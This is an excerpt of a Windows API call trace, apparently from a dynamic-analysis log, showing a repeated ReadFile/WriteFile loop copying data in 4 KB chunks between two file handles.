[0077.787] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.788] GetLastError () returned 0x0
[0077.788] SetLastError (dwErrCode=0x0)
[0077.788] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.788] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.788] GetLastError () returned 0x0
[0077.788] SetLastError (dwErrCode=0x0)
[0077.788] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.788] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.788] GetLastError () returned 0x0
[0077.788] SetLastError (dwErrCode=0x0)
[0077.789] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.789] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.789] GetLastError () returned 0x0
[0077.789] SetLastError (dwErrCode=0x0)
[0077.789] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.789] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.789] GetLastError () returned 0x0
[0077.789] SetLastError (dwErrCode=0x0)
[0077.789] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.790] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.790] GetLastError () returned 0x0
[0077.790] SetLastError (dwErrCode=0x0)
[0077.790] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.790] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.790] GetLastError () returned 0x0
[0077.790] SetLastError (dwErrCode=0x0)
[0077.790] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.790] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.791] GetLastError () returned 0x0
[0077.791] SetLastError (dwErrCode=0x0)
[0077.791] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.791] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.791] GetLastError () returned 0x0
[0077.791] SetLastError (dwErrCode=0x0)
[0077.791] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.791] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.792] GetLastError () returned 0x0
[0077.792] SetLastError (dwErrCode=0x0)
[0077.792] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.792] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.792] GetLastError () returned 0x0
[0077.792] SetLastError (dwErrCode=0x0)
[0077.792] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.792] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.792] GetLastError () returned 0x0
[0077.793] SetLastError (dwErrCode=0x0)
[0077.793] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.793] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.793] GetLastError () returned 0x0
[0077.793] SetLastError (dwErrCode=0x0)
[0077.793] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.793] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.793] GetLastError () returned 0x0
[0077.793] SetLastError (dwErrCode=0x0)
[0077.794] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.794] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.794] GetLastError () returned 0x0
[0077.794] SetLastError (dwErrCode=0x0)
[0077.794] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.794] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.794] GetLastError () returned 0x0
[0077.794] SetLastError (dwErrCode=0x0)
[0077.794] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.795] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.795] GetLastError () returned 0x0
[0077.795] SetLastError (dwErrCode=0x0)
[0077.795] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.795] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.795] GetLastError () returned 0x0
[0077.795] SetLastError (dwErrCode=0x0)
[0077.795] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.795] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.796] GetLastError () returned 0x0
[0077.796] SetLastError (dwErrCode=0x0)
[0077.796] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.796] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.796] GetLastError () returned 0x0
[0077.796] SetLastError (dwErrCode=0x0)
[0077.796] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.796] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.797] GetLastError () returned 0x0
[0077.797] SetLastError (dwErrCode=0x0)
[0077.797] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.797] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.797] GetLastError () returned 0x0
[0077.797] SetLastError (dwErrCode=0x0)
[0077.797] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.797] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.797] GetLastError () returned 0x0
[0077.797] SetLastError (dwErrCode=0x0)
[0077.797] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.798] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.798] GetLastError () returned 0x0
[0077.798] SetLastError (dwErrCode=0x0)
[0077.798] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.798] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.798] GetLastError () returned 0x0
[0077.798] SetLastError (dwErrCode=0x0)
[0077.798] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.799] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.799] GetLastError () returned 0x0
[0077.799] SetLastError (dwErrCode=0x0)
[0077.799] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.799] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.799] GetLastError () returned 0x0
[0077.799] SetLastError (dwErrCode=0x0)
[0077.799] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.799] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.800] GetLastError () returned 0x0
[0077.800] SetLastError (dwErrCode=0x0)
[0077.800] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.800] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.800] GetLastError () returned 0x0
[0077.800] SetLastError (dwErrCode=0x0)
[0077.800] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.800] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.801] GetLastError () returned 0x0
[0077.801] SetLastError (dwErrCode=0x0)
[0077.801] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.801] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.801] GetLastError () returned 0x0
[0077.801] SetLastError (dwErrCode=0x0)
[0077.801] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.801] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.801] GetLastError () returned 0x0
[0077.801] SetLastError (dwErrCode=0x0)
[0077.802] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.802] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.802] GetLastError () returned 0x0
[0077.802] SetLastError (dwErrCode=0x0)
[0077.802] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.802] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.802] GetLastError () returned 0x0
[0077.802] SetLastError (dwErrCode=0x0)
[0077.802] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.803] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.803] GetLastError () returned 0x0
[0077.803] SetLastError (dwErrCode=0x0)
[0077.803] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.803] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.803] GetLastError () returned 0x0
[0077.803] SetLastError (dwErrCode=0x0)
[0077.803] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.803] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.804] GetLastError () returned 0x0
[0077.804] SetLastError (dwErrCode=0x0)
[0077.804] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.804] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.804] GetLastError () returned 0x0
[0077.804] SetLastError (dwErrCode=0x0)
[0077.804] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.804] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.805] GetLastError () returned 0x0
[0077.805] SetLastError (dwErrCode=0x0)
[0077.805] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.805] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.805] GetLastError () returned 0x0
[0077.805] SetLastError (dwErrCode=0x0)
[0077.805] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.805] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.806] GetLastError () returned 0x0
[0077.806] SetLastError (dwErrCode=0x0)
[0077.806] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.806] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.806] GetLastError () returned 0x0
[0077.806] SetLastError (dwErrCode=0x0)
[0077.806] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
[0077.806] WriteFile (in: hFile=0x1a0, lpBuffer=0xefe3e4*, nNumberOfBytesToWrite=0x1000, lpNumberOfBytesWritten=0xefe048, lpOverlapped=0x0 | out: lpBuffer=0xefe3e4*, lpNumberOfBytesWritten=0xefe048*=0x1000, lpOverlapped=0x0) returned 1
[0077.806] GetLastError () returned 0x0
[0077.806] SetLastError (dwErrCode=0x0)
[0077.807] ReadFile (in: hFile=0x19c, lpBuffer=0xfff9b8, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0xefe0cc, lpOverlapped=0x0 | out: lpBuffer=0xfff9b8*, lpNumberOfBytesRead=0xefe0cc*=0x1000, lpOverlapped=0x0) returned 1
